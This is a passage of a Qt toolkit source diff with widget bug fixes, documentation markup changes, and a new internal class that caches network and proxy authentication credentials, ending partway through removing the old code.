+#include <private/qcocoaapplication_mac_p.h>
#include <QtGui/QMenu>
diff --git a/src/gui/widgets/qcombobox.cpp b/src/gui/widgets/qcombobox.cpp
index 7946137..b5dda5a 100644
--- a/src/gui/widgets/qcombobox.cpp
+++ b/src/gui/widgets/qcombobox.cpp
@@ -2486,10 +2486,18 @@ void QComboBox::showPopup()
listRect.setWidth(listRect.height());
//by default popup is centered on screen in landscape
listRect.moveCenter(screen.center());
- if (staConTopRect.IsEmpty() && AknLayoutUtils::CbaLocation() != AknLayoutUtils::EAknCbaLocationBottom) {
- // landscape without stacon, menu should be at the right
- (opt.direction == Qt::LeftToRight) ? listRect.setRight(screen.right()) :
- listRect.setLeft(screen.left());
+ if (staConTopRect.IsEmpty()) {
+ TRect cbaRect = TRect();
+ AknLayoutUtils::LayoutMetricsRect(AknLayoutUtils::EControlPane, cbaRect);
+ AknLayoutUtils::TAknCbaLocation cbaLocation = AknLayoutUtils::CbaLocation();
+ switch (cbaLocation) {
+ case AknLayoutUtils::EAknCbaLocationRight:
+ listRect.setRight(screen.right());
+ break;
+ case AknLayoutUtils::EAknCbaLocationLeft:
+ listRect.setLeft(screen.left());
+ break;
+ }
}
}
#endif
diff --git a/src/gui/widgets/qfocusframe.cpp b/src/gui/widgets/qfocusframe.cpp
index c159a1e..6508c31 100644
--- a/src/gui/widgets/qfocusframe.cpp
+++ b/src/gui/widgets/qfocusframe.cpp
@@ -85,6 +85,9 @@ void QFocusFramePrivate::update()
void QFocusFramePrivate::updateSize()
{
Q_Q(QFocusFrame);
+ if (!widget)
+ return;
+
int vmargin = q->style()->pixelMetric(QStyle::PM_FocusFrameVMargin),
hmargin = q->style()->pixelMetric(QStyle::PM_FocusFrameHMargin);
QPoint pos(widget->x(), widget->y());
diff --git a/src/gui/widgets/qlinecontrol.cpp b/src/gui/widgets/qlinecontrol.cpp
index 062bb61..023b9ee 100644
--- a/src/gui/widgets/qlinecontrol.cpp
+++ b/src/gui/widgets/qlinecontrol.cpp
@@ -456,6 +456,7 @@ void QLineControl::processInputMethodEvent(QInputMethodEvent *event)
#ifndef QT_NO_IM
setPreeditArea(m_cursor, event->preeditString());
#endif //QT_NO_IM
+ const int oldPreeditCursor = m_preeditCursor;
m_preeditCursor = event->preeditString().length();
m_hideCursor = false;
QList<QTextLayout::FormatRange> formats;
@@ -479,6 +480,8 @@ void QLineControl::processInputMethodEvent(QInputMethodEvent *event)
updateDisplayText(/*force*/ true);
if (cursorPositionChanged)
emitCursorPositionChanged();
+ else if (m_preeditCursor != oldPreeditCursor)
+ emit updateMicroFocus();
if (isGettingInput)
finishChange(priorState);
}
@@ -541,10 +544,13 @@ void QLineControl::draw(QPainter *painter, const QPoint &offset, const QRect &cl
*/
void QLineControl::selectWordAtPos(int cursor)
{
- int c = m_textLayout.previousCursorPosition(cursor, QTextLayout::SkipWords);
+ int next = cursor + 1;
+ if(next > end())
+ --next;
+ int c = m_textLayout.previousCursorPosition(next, QTextLayout::SkipWords);
moveCursor(c, false);
// ## text layout should support end of words.
- int end = m_textLayout.nextCursorPosition(cursor, QTextLayout::SkipWords);
+ int end = m_textLayout.nextCursorPosition(c, QTextLayout::SkipWords);
while (end > cursor && m_text[end-1].isSpace())
--end;
moveCursor(end, true);
diff --git a/src/gui/widgets/qlinecontrol_p.h b/src/gui/widgets/qlinecontrol_p.h
index bfe50fe..3c505c8 100644
--- a/src/gui/widgets/qlinecontrol_p.h
+++ b/src/gui/widgets/qlinecontrol_p.h
@@ -425,6 +425,7 @@ Q_SIGNALS:
void textEdited(const QString &);
void resetInputContext();
+ void updateMicroFocus();
void accepted();
void editingFinished();
diff --git a/src/gui/widgets/qmainwindow.cpp b/src/gui/widgets/qmainwindow.cpp
index a786e2f..fd61783 100644
--- a/src/gui/widgets/qmainwindow.cpp
+++ b/src/gui/widgets/qmainwindow.cpp
@@ -1516,11 +1516,6 @@ void QMainWindow::setUnifiedTitleAndToolBarOnMac(bool set)
if (!isWindow() || d->useHIToolBar == set || QSysInfo::MacintoshVersion < QSysInfo::MV_10_3)
return;
- // ### Disable when using alien widgets
- if (testAttribute(Qt::WA_NativeWindow) == false) {
- return;
- }
-
d->useHIToolBar = set;
createWinId(); // We need the hiview for down below.
diff --git a/src/gui/widgets/qmainwindowlayout_mac.mm b/src/gui/widgets/qmainwindowlayout_mac.mm
index 9a23ca7..e428ffc 100644
--- a/src/gui/widgets/qmainwindowlayout_mac.mm
+++ b/src/gui/widgets/qmainwindowlayout_mac.mm
@@ -355,7 +355,11 @@ void QMainWindowLayout::updateHIToolBarStatus()
// Move everything out of the HIToolbar into the main toolbar.
while (!qtoolbarsInUnifiedToolbarList.isEmpty()) {
// Should shrink the list by one every time.
- layoutState.mainWindow->addToolBar(Qt::TopToolBarArea, qtoolbarsInUnifiedToolbarList.first());
+ QToolBar *toolbar = qtoolbarsInUnifiedToolbarList.first();
+ layoutState.mainWindow->addToolBar(Qt::TopToolBarArea, toolbar);
+#if defined(QT_MAC_USE_COCOA)
+ toolbar->d_func()->isInUnifiedToolbar = false;
+#endif
}
macWindowToolbarSet(qt_mac_window_for(layoutState.mainWindow), 0);
} else {
@@ -363,7 +367,8 @@ void QMainWindowLayout::updateHIToolBarStatus()
for (int i = 0; i < toolbars.size(); ++i) {
QToolBar *toolbar = toolbars.at(i);
if (toolBarArea(toolbar) == Qt::TopToolBarArea) {
- removeWidget(toolbar); // Do this here, because we are in an in-between state.
+ // Do this here, because we are in an in-between state.
+ removeWidget(toolbar);
layoutState.mainWindow->addToolBar(Qt::TopToolBarArea, toolbar);
}
}
@@ -387,10 +392,20 @@ void QMainWindowLayout::insertIntoMacToolbar(QToolBar *before, QToolBar *toolbar
if (toolbar == 0)
return;
+#if defined(QT_MAC_USE_COCOA)
+ // toolbar will now become native (if not allready) since we need
+ // an nsview for it inside the corresponding NSToolbarItem.
+ // Setting isInUnifiedToolbar will (among other things) stop alien
+ // siblings from becoming native when this happends since the toolbar
+ // will not overlap with other children of the QMainWindow. NB: Switching
+ // unified toolbar off after this stage is not supported, as this means
+ // that either the menubar must be alien again, or the sibling must
+ // be backed by an nsview to protect from overlapping issues:
+ toolbar->d_func()->isInUnifiedToolbar = true;
+#endif
QToolBarLayout *toolbarLayout = static_cast<QToolBarLayout *>(toolbar->layout());
- toolbarSaveState.insert(toolbar, ToolBarSaveState(toolbar->isMovable(),
- toolbar->maximumSize()));
+ toolbarSaveState.insert(toolbar, ToolBarSaveState(toolbar->isMovable(), toolbar->maximumSize()));
if (toolbarLayout->hasExpandFlag() == false)
toolbar->setMaximumSize(toolbar->sizeHint());
@@ -399,8 +414,8 @@ void QMainWindowLayout::insertIntoMacToolbar(QToolBar *before, QToolBar *toolbar
toolbarLayout->setUsePopupMenu(true);
// Make the toolbar a child of the mainwindow to avoid creating a window.
toolbar->setParent(layoutState.mainWindow);
- toolbar->createWinId(); // Now create the OSViewRef.
+ toolbar->winId(); // Now create the OSViewRef.
layoutState.mainWindow->createWinId();
OSWindowRef window = qt_mac_window_for(layoutState.mainWindow);
diff --git a/src/gui/widgets/qmenubar.cpp b/src/gui/widgets/qmenubar.cpp
index dda5aba..5bfac9a 100644
--- a/src/gui/widgets/qmenubar.cpp
+++ b/src/gui/widgets/qmenubar.cpp
@@ -1073,8 +1073,11 @@ void QMenuBar::paintEvent(QPaintEvent *e)
void QMenuBar::setVisible(bool visible)
{
#if defined(Q_WS_MAC) || defined(Q_OS_WINCE) || defined(Q_WS_S60)
- if (isNativeMenuBar())
+ if (isNativeMenuBar()) {
+ if (!visible)
+ QWidget::setVisible(false);
return;
+ }
#endif
QWidget::setVisible(visible);
}
diff --git a/src/gui/widgets/qplaintextedit.cpp b/src/gui/widgets/qplaintextedit.cpp
index d3af9e1..7435691 100644
--- a/src/gui/widgets/qplaintextedit.cpp
+++ b/src/gui/widgets/qplaintextedit.cpp
@@ -967,7 +967,7 @@ void QPlainTextEditPrivate::_q_adjustScrollbars()
++lineNumber;
}
if (lineNumber < layoutLineCount)
- visibleFromBottom += (layoutLineCount - lineNumber - 1);
+ visibleFromBottom += (layoutLineCount - lineNumber);
break;
}
diff --git a/src/gui/widgets/qscrollbar.cpp b/src/gui/widgets/qscrollbar.cpp
index 67f34eb..c895b1b 100644
--- a/src/gui/widgets/qscrollbar.cpp
+++ b/src/gui/widgets/qscrollbar.cpp
@@ -82,21 +82,21 @@ QT_BEGIN_NAMESPACE
needs.
\table
- \row \i \image qscrollbar-picture.png
- \i Scroll bars typically include four separate controls: a slider,
+ \row \o \image qscrollbar-picture.png
+ \o Scroll bars typically include four separate controls: a slider,
scroll arrows, and a page control.
\list
- \i a. The slider provides a way to quickly go to any part of the
+ \o a. The slider provides a way to quickly go to any part of the
document, but does not support accurate navigation within large
documents.
- \i b. The scroll arrows are push buttons which can be used to accurately
+ \o b. The scroll arrows are push buttons which can be used to accurately
navigate to a particular place in a document. For a vertical scroll bar
connected to a text editor, these typically move the current position one
"line" up or down, and adjust the position of the slider by a small
amount. In editors and list boxes a "line" might mean one line of text;
in an image viewer it might mean 20 pixels.
- \i c. The page control is the area over which the slider is dragged (the
+ \o c. The page control is the area over which the slider is dragged (the
scroll bar's background). Clicking here moves the scroll bar towards
the click by one "page". This value is usually the same as the length of
the slider.
@@ -134,13 +134,12 @@ QT_BEGIN_NAMESPACE
value of 80. This would give us a scroll bar with five "pages".
\table
- \row \i \inlineimage qscrollbar-values.png
- \i The relationship between a document length, the range of values used
+ \row \o \inlineimage qscrollbar-values.png
+ \o The relationship between a document length, the range of values used
in a scroll bar, and the page step is simple in many common situations.
The scroll bar's range of values is determined by subtracting a
chosen page step from some value representing the length of the document.
In such cases, the following equation is useful:
-
\e{document length} = maximum() - minimum() + pageStep().
\endtable
@@ -153,18 +152,18 @@ QT_BEGIN_NAMESPACE
ScrollBar inherits a comprehensive set of signals from QAbstractSlider:
\list
- \i \l{QAbstractSlider::valueChanged()}{valueChanged()} is emitted when the
+ \o \l{QAbstractSlider::valueChanged()}{valueChanged()} is emitted when the
scroll bar's value has changed. The tracking() determines whether this
signal is emitted during user interaction.
- \i \l{QAbstractSlider::rangeChanged()}{rangeChanged()} is emitted when the
+ \o \l{QAbstractSlider::rangeChanged()}{rangeChanged()} is emitted when the
scroll bar's range of values has changed.
- \i \l{QAbstractSlider::sliderPressed()}{sliderPressed()} is emitted when
+ \o \l{QAbstractSlider::sliderPressed()}{sliderPressed()} is emitted when
the user starts to drag the slider.
- \i \l{QAbstractSlider::sliderMoved()}{sliderMoved()} is emitted when the user
+ \o \l{QAbstractSlider::sliderMoved()}{sliderMoved()} is emitted when the user
drags the slider.
- \i \l{QAbstractSlider::sliderReleased()}{sliderReleased()} is emitted when
+ \o \l{QAbstractSlider::sliderReleased()}{sliderReleased()} is emitted when
the user releases the slider.
- \i \l{QAbstractSlider::actionTriggered()}{actionTriggered()} is emitted
+ \o \l{QAbstractSlider::actionTriggered()}{actionTriggered()} is emitted
when the scroll bar is changed by user interaction or via the
\l{QAbstractSlider::triggerAction()}{triggerAction()} function.
\endlist
@@ -173,12 +172,12 @@ QT_BEGIN_NAMESPACE
default focusPolicy() of Qt::NoFocus. Use setFocusPolicy() to
enable keyboard interaction with the scroll bar:
\list
- \i Left/Right move a horizontal scroll bar by one single step.
- \i Up/Down move a vertical scroll bar by one single step.
- \i PageUp moves up one page.
- \i PageDown moves down one page.
- \i Home moves to the start (mininum).
- \i End moves to the end (maximum).
+ \o Left/Right move a horizontal scroll bar by one single step.
+ \o Up/Down move a vertical scroll bar by one single step.
+ \o PageUp moves up one page.
+ \o PageDown moves down one page.
+ \o Home moves to the start (mininum).
+ \o End moves to the end (maximum).
\endlist
The slider itself can be controlled by using the
diff --git a/src/gui/widgets/qsizegrip.cpp b/src/gui/widgets/qsizegrip.cpp
index f2ea1bf..630aecf 100644
--- a/src/gui/widgets/qsizegrip.cpp
+++ b/src/gui/widgets/qsizegrip.cpp
@@ -309,6 +309,7 @@ void QSizeGrip::mousePressEvent(QMouseEvent * e)
#ifdef Q_WS_X11
// Use a native X11 sizegrip for "real" top-level windows if supported.
if (tlw->isWindow() && X11->isSupportedByWM(ATOM(_NET_WM_MOVERESIZE))
+ && !(tlw->windowFlags() & Qt::X11BypassWindowManagerHint)
&& !tlw->testAttribute(Qt::WA_DontShowOnScreen) && !qt_widget_private(tlw)->hasHeightForWidth()) {
XEvent xev;
xev.xclient.type = ClientMessage;
@@ -420,7 +421,8 @@ void QSizeGrip::mouseMoveEvent(QMouseEvent * e)
#ifdef Q_WS_X11
if (tlw->isWindow() && X11->isSupportedByWM(ATOM(_NET_WM_MOVERESIZE))
- && tlw->isTopLevel() && !tlw->testAttribute(Qt::WA_DontShowOnScreen) && !qt_widget_private(tlw)->hasHeightForWidth())
+ && tlw->isTopLevel() && !(tlw->windowFlags() & Qt::X11BypassWindowManagerHint)
+ && !tlw->testAttribute(Qt::WA_DontShowOnScreen) && !qt_widget_private(tlw)->hasHeightForWidth())
return;
#endif
#ifdef Q_WS_WIN
diff --git a/src/imports/gestures/qdeclarativegesturearea.cpp b/src/imports/gestures/qdeclarativegesturearea.cpp
index ba3adc5..1b6e723 100644
--- a/src/imports/gestures/qdeclarativegesturearea.cpp
+++ b/src/imports/gestures/qdeclarativegesturearea.cpp
@@ -86,22 +86,22 @@ public:
A GestureArea is like a MouseArea, but it has signals for gesture events.
- \e {Elements in the Qt.labs module are not guaranteed to remain compatible
- in future versions.}
+ \warning Elements in the Qt.labs module are not guaranteed to remain compatible
+ in future versions.
- \e {This element is only functional on devices with touch input.}
+ \note This element is only functional on devices with touch input.
\qml
import Qt.labs.gestures 1.0
GestureArea {
anchors.fill: parent
- onPan: ... gesture.acceleration ...
- onPinch: ... gesture.rotationAngle ...
- onSwipe: ...
- onTapAndHold: ...
- onTap: ...
- onGesture: ...
+ // onPan: ... gesture.acceleration ...
+ // onPinch: ... gesture.rotationAngle ...
+ // onSwipe: ...
+ // onTapAndHold: ...
+ // onTap: ...
+ // onGesture: ...
}
\endqml
diff --git a/src/multimedia/audio/qaudiooutput_symbian_p.cpp b/src/multimedia/audio/qaudiooutput_symbian_p.cpp
index ea7cd9f..5db7099 100644
--- a/src/multimedia/audio/qaudiooutput_symbian_p.cpp
+++ b/src/multimedia/audio/qaudiooutput_symbian_p.cpp
@@ -436,8 +436,8 @@ void QAudioOutputPrivate::writePaddingData()
unsigned char *ptr = const_cast<unsigned char*>(outputBuffer.Ptr());
Mem::FillZ(ptr, paddingBytes);
outputBuffer.SetLength(outputBuffer.Length() + paddingBytes);
+ Q_ASSERT(m_bytesPadding >= paddingBytes);
m_bytesPadding -= paddingBytes;
- Q_ASSERT(m_bytesPadding >= 0);
if (m_pullMode && m_source->atEnd())
lastBufferFilled();
diff --git a/src/network/access/access.pri b/src/network/access/access.pri
index f8dfda6..7497c1a 100644
--- a/src/network/access/access.pri
+++ b/src/network/access/access.pri
@@ -8,6 +8,7 @@ HEADERS += \
access/qhttpnetworkreply_p.h \
access/qhttpnetworkconnection_p.h \
access/qhttpnetworkconnectionchannel_p.h \
+ access/qnetworkaccessauthenticationmanager_p.h \
access/qnetworkaccessmanager.h \
access/qnetworkaccessmanager_p.h \
access/qnetworkaccesscache_p.h \
@@ -42,6 +43,7 @@ SOURCES += \
access/qhttpnetworkreply.cpp \
access/qhttpnetworkconnection.cpp \
access/qhttpnetworkconnectionchannel.cpp \
+ access/qnetworkaccessauthenticationmanager.cpp \
access/qnetworkaccessmanager.cpp \
access/qnetworkaccesscache.cpp \
access/qnetworkaccessbackend.cpp \
diff --git a/src/network/access/qnetworkaccessauthenticationmanager.cpp b/src/network/access/qnetworkaccessauthenticationmanager.cpp
new file mode 100644
index 0000000..d2bf00a
--- /dev/null
+++ b/src/network/access/qnetworkaccessauthenticationmanager.cpp
@@ -0,0 +1,297 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtNetwork module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qnetworkaccessmanager.h"
+#include "qnetworkaccessmanager_p.h"
+#include "qnetworkaccessauthenticationmanager_p.h"
+
+#include "QtCore/qbuffer.h"
+#include "QtCore/qurl.h"
+#include "QtCore/qvector.h"
+#include "QtCore/QMutexLocker"
+#include "QtNetwork/qauthenticator.h"
+
+QT_BEGIN_NAMESPACE
+
+
+
+
+class QNetworkAuthenticationCache: private QVector<QNetworkAuthenticationCredential>,
+ public QNetworkAccessCache::CacheableObject
+{
+public:
+ QNetworkAuthenticationCache()
+ {
+ setExpires(false);
+ setShareable(true);
+ reserve(1);
+ }
+
+ QNetworkAuthenticationCredential *findClosestMatch(const QString &domain)
+ {
+ iterator it = qLowerBound(begin(), end(), domain);
+ if (it == end() && !isEmpty())
+ --it;
+ if (it == end() || !domain.startsWith(it->domain))
+ return 0;
+ return &*it;
+ }
+
+ void insert(const QString &domain, const QString &user, const QString &password)
+ {
+ QNetworkAuthenticationCredential *closestMatch = findClosestMatch(domain);
+ if (closestMatch && closestMatch->domain == domain) {
+ // we're overriding the current credentials
+ closestMatch->user = user;
+ closestMatch->password = password;
+ } else {
+ QNetworkAuthenticationCredential newCredential;
+ newCredential.domain = domain;
+ newCredential.user = user;
+ newCredential.password = password;
+
+ if (closestMatch)
+ QVector<QNetworkAuthenticationCredential>::insert(++closestMatch, newCredential);
+ else
+ QVector<QNetworkAuthenticationCredential>::insert(end(), newCredential);
+ }
+ }
+
+ virtual void dispose() { delete this; }
+};
+
+#ifndef QT_NO_NETWORKPROXY
+static QByteArray proxyAuthenticationKey(const QNetworkProxy &proxy, const QString &realm)
+{
+ QUrl key;
+
+ switch (proxy.type()) {
+ case QNetworkProxy::Socks5Proxy:
+ key.setScheme(QLatin1String("proxy-socks5"));
+ break;
+
+ case QNetworkProxy::HttpProxy:
+ case QNetworkProxy::HttpCachingProxy:
+ key.setScheme(QLatin1String("proxy-http"));
+ break;
+
+ case QNetworkProxy::FtpCachingProxy:
+ key.setScheme(QLatin1String("proxy-ftp"));
+ break;
+
+ case QNetworkProxy::DefaultProxy:
+ case QNetworkProxy::NoProxy:
+ // shouldn't happen
+ return QByteArray();
+
+ // no default:
+ // let there be errors if a new proxy type is added in the future
+ }
+
+ if (key.scheme().isEmpty())
+ // proxy type not handled
+ return QByteArray();
+
+ key.setUserName(proxy.user());
+ key.setHost(proxy.hostName());
+ key.setPort(proxy.port());
+ key.setFragment(realm);
+ return "auth:" + key.toEncoded();
+}
+#endif
+
+static inline QByteArray authenticationKey(const QUrl &url, const QString &realm)
+{
+ QUrl copy = url;
+ copy.setFragment(realm);
+ return "auth:" + copy.toEncoded(QUrl::RemovePassword | QUrl::RemovePath | QUrl::RemoveQuery);
+}
+
+
+#ifndef QT_NO_NETWORKPROXY
+void QNetworkAccessAuthenticationManager::cacheProxyCredentials(const QNetworkProxy &p,
+ const QAuthenticator *authenticator)
+{
+ Q_ASSERT(authenticator);
+ Q_ASSERT(p.type() != QNetworkProxy::DefaultProxy);
+ Q_ASSERT(p.type() != QNetworkProxy::NoProxy);
+
+ QMutexLocker mutexLocker(&mutex);
+
+ QString realm = authenticator->realm();
+ QNetworkProxy proxy = p;
+ proxy.setUser(authenticator->user());
+ // Set two credentials: one with the username and one without
+ do {
+ // Set two credentials actually: one with and one without the realm
+ do {
+ QByteArray cacheKey = proxyAuthenticationKey(proxy, realm);
+ if (cacheKey.isEmpty())
+ return; // should not happen
+
+ QNetworkAuthenticationCache *auth = new QNetworkAuthenticationCache;
+ auth->insert(QString(), authenticator->user(), authenticator->password());
+ authenticationCache.addEntry(cacheKey, auth); // replace the existing one, if there's any
+
+ if (realm.isEmpty()) {
+ break;
+ } else {
+ realm.clear();
+ }
+ } while (true);
+
+ if (proxy.user().isEmpty())
+ break;
+ else
+ proxy.setUser(QString());
+ } while (true);
+}
+
+QNetworkAuthenticationCredential
+QNetworkAccessAuthenticationManager::fetchCachedProxyCredentials(const QNetworkProxy &p,
+ const QAuthenticator *authenticator)
+{
+ QNetworkProxy proxy = p;
+ if (proxy.type() == QNetworkProxy::DefaultProxy) {
+ proxy = QNetworkProxy::applicationProxy();
+ }
+ if (!proxy.password().isEmpty())
+ return QNetworkAuthenticationCredential(); // no need to set credentials if it already has them
+
+ QString realm;
+ if (authenticator)
+ realm = authenticator->realm();
+
+ QMutexLocker mutexLocker(&mutex);
+ QByteArray cacheKey = proxyAuthenticationKey(proxy, realm);
+ if (cacheKey.isEmpty())
+ return QNetworkAuthenticationCredential();
+ if (!authenticationCache.hasEntry(cacheKey))
+ return QNetworkAuthenticationCredential();
+
+ QNetworkAuthenticationCache *auth =
+ static_cast<QNetworkAuthenticationCache *>(authenticationCache.requestEntryNow(cacheKey));
+ QNetworkAuthenticationCredential cred = *auth->findClosestMatch(QString());
+ authenticationCache.releaseEntry(cacheKey);
+
+ // proxy cache credentials always have exactly one item
+ Q_ASSERT_X(!cred.isNull(), "QNetworkAccessManager",
+ "Internal inconsistency: found a cache key for a proxy, but it's empty");
+ return cred;
+}
+
+#endif
+
+void QNetworkAccessAuthenticationManager::cacheCredentials(const QUrl &url,
+ const QAuthenticator *authenticator)
+{
+ Q_ASSERT(authenticator);
+ QString domain = QString::fromLatin1("/"); // FIXME: make QAuthenticator return the domain
+ QString realm = authenticator->realm();
+
+ QMutexLocker mutexLocker(&mutex);
+
+ // Set two credentials actually: one with and one without the username in the URL
+ QUrl copy = url;
+ copy.setUserName(authenticator->user());
+ do {
+ QByteArray cacheKey = authenticationKey(copy, realm);
+ if (authenticationCache.hasEntry(cacheKey)) {
+ QNetworkAuthenticationCache *auth =
+ static_cast<QNetworkAuthenticationCache *>(authenticationCache.requestEntryNow(cacheKey));
+ auth->insert(domain, authenticator->user(), authenticator->password());
+ authenticationCache.releaseEntry(cacheKey);
+ } else {
+ QNetworkAuthenticationCache *auth = new QNetworkAuthenticationCache;
+ auth->insert(domain, authenticator->user(), authenticator->password());
+ authenticationCache.addEntry(cacheKey, auth);
+ }
+
+ if (copy.userName().isEmpty()) {
+ break;
+ } else {
+ copy.setUserName(QString());
+ }
+ } while (true);
+}
+
+/*!
+ Fetch the credential data from the credential cache.
+
+ If auth is 0 (as it is when called from createRequest()), this will try to
+ look up with an empty realm. That fails in most cases for HTTP (because the
+ realm is seldom empty for HTTP challenges). In any case, QHttpNetworkConnection
+ never sends the credentials on the first attempt: it needs to find out what
+ authentication methods the server supports.
+
+ For FTP, realm is always empty.
+*/
+QNetworkAuthenticationCredential
+QNetworkAccessAuthenticationManager::fetchCachedCredentials(const QUrl &url,
+ const QAuthenticator *authentication)
+{
+ if (!url.password().isEmpty())
+ return QNetworkAuthenticationCredential(); // no need to set credentials if it already has them
+
+ QString realm;
+ if (authentication)
+ realm = authentication->realm();
+
+ QByteArray cacheKey = authenticationKey(url, realm);
+
+ QMutexLocker mutexLocker(&mutex);
+ if (!authenticationCache.hasEntry(cacheKey))
+ return QNetworkAuthenticationCredential();
+
+ QNetworkAuthenticationCache *auth =
+ static_cast<QNetworkAuthenticationCache *>(authenticationCache.requestEntryNow(cacheKey));
+ QNetworkAuthenticationCredential cred = *auth->findClosestMatch(url.path());
+ authenticationCache.releaseEntry(cacheKey);
+ return cred;
+}
+
+void QNetworkAccessAuthenticationManager::clearCache()
+{
+ authenticationCache.clear();
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/network/access/qnetworkaccessauthenticationmanager_p.h b/src/network/access/qnetworkaccessauthenticationmanager_p.h
new file mode 100644
index 0000000..d2347b1
--- /dev/null
+++ b/src/network/access/qnetworkaccessauthenticationmanager_p.h
@@ -0,0 +1,107 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtNetwork module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QNETWORKACCESSAUTHENTICATIONMANAGER_P_H
+#define QNETWORKACCESSAUTHENTICATIONMANAGER_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists for the convenience
+// of the Network Access API. This header file may change from
+// version to version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qnetworkaccessmanager.h"
+#include "qnetworkaccesscache_p.h"
+#include "qnetworkaccessbackend_p.h"
+#include "QtNetwork/qnetworkproxy.h"
+#include "QtCore/QMutex"
+
+QT_BEGIN_NAMESPACE
+
+class QAuthenticator;
+class QAbstractNetworkCache;
+class QNetworkAuthenticationCredential;
+class QNetworkCookieJar;
+
+class QNetworkAuthenticationCredential
+{
+public:
+ QString domain;
+ QString user;
+ QString password;
+ bool isNull() {
+ return domain.isNull();
+ }
+};
+Q_DECLARE_TYPEINFO(QNetworkAuthenticationCredential, Q_MOVABLE_TYPE);
+inline bool operator<(const QNetworkAuthenticationCredential &t1, const QString &t2)
+{ return t1.domain < t2; }
+
+class QNetworkAccessAuthenticationManager
+{
+public:
+ QNetworkAccessAuthenticationManager() { };
+
+ void cacheCredentials(const QUrl &url, const QAuthenticator *auth);
+ QNetworkAuthenticationCredential fetchCachedCredentials(const QUrl &url,
+ const QAuthenticator *auth = 0);
+
+#ifndef QT_NO_NETWORKPROXY
+ void cacheProxyCredentials(const QNetworkProxy &proxy, const QAuthenticator *auth);
+ QNetworkAuthenticationCredential fetchCachedProxyCredentials(const QNetworkProxy &proxy,
+ const QAuthenticator *auth = 0);
+#endif
+
+ void clearCache();
+
+protected:
+ QNetworkAccessCache authenticationCache;
+ QMutex mutex;
+};
+
+QT_END_NAMESPACE
+
+#endif
diff --git a/src/network/access/qnetworkaccessbackend.cpp b/src/network/access/qnetworkaccessbackend.cpp
index fd1fa60..53ae29e 100644
--- a/src/network/access/qnetworkaccessbackend.cpp
+++ b/src/network/access/qnetworkaccessbackend.cpp
@@ -329,7 +329,7 @@ void QNetworkAccessBackend::authenticationRequired(QAuthenticator *authenticator
void QNetworkAccessBackend::cacheCredentials(QAuthenticator *authenticator)
{
- manager->cacheCredentials(this->reply->url, authenticator);
+ manager->authenticationManager->cacheCredentials(this->reply->url, authenticator);
}
void QNetworkAccessBackend::metaDataChanged()
diff --git a/src/network/access/qnetworkaccessftpbackend.cpp b/src/network/access/qnetworkaccessftpbackend.cpp
index bad010f..e34e6bb 100644
--- a/src/network/access/qnetworkaccessftpbackend.cpp
+++ b/src/network/access/qnetworkaccessftpbackend.cpp
@@ -307,8 +307,10 @@ void QNetworkAccessFtpBackend::ftpDone()
// logged in successfully, send the stat requests (if supported)
QString command = url().path();
command.prepend(QLatin1String("%1 "));
- if (supportsSize)
+ if (supportsSize) {
+ ftp->rawCommand(QLatin1String("TYPE I"));
sizeId = ftp->rawCommand(command.arg(QLatin1String("SIZE"))); // get size
+ }
if (supportsMdtm)
mdtmId = ftp->rawCommand(command.arg(QLatin1String("MDTM"))); // get modified time
if (!supportsSize && !supportsMdtm)
diff --git a/src/network/access/qnetworkaccessmanager.cpp b/src/network/access/qnetworkaccessmanager.cpp
index 27b7945..22f62cb 100644
--- a/src/network/access/qnetworkaccessmanager.cpp
+++ b/src/network/access/qnetworkaccessmanager.cpp
@@ -48,6 +48,7 @@
#include "qabstractnetworkcache.h"
#include "QtNetwork/qnetworksession.h"
+#include "QtNetwork/private/qsharednetworksession_p.h"
#include "qnetworkaccesshttpbackend_p.h"
#include "qnetworkaccessftpbackend_p.h"
@@ -340,107 +341,6 @@ static void ensureInitialized()
QNetworkReply::sslConfiguration(), QNetworkReply::ignoreSslErrors()
*/
-class QNetworkAuthenticationCredential
-{
-public:
- QString domain;
- QString user;
- QString password;
-};
-Q_DECLARE_TYPEINFO(QNetworkAuthenticationCredential, Q_MOVABLE_TYPE);
-inline bool operator<(const QNetworkAuthenticationCredential &t1, const QString &t2)
-{ return t1.domain < t2; }
-
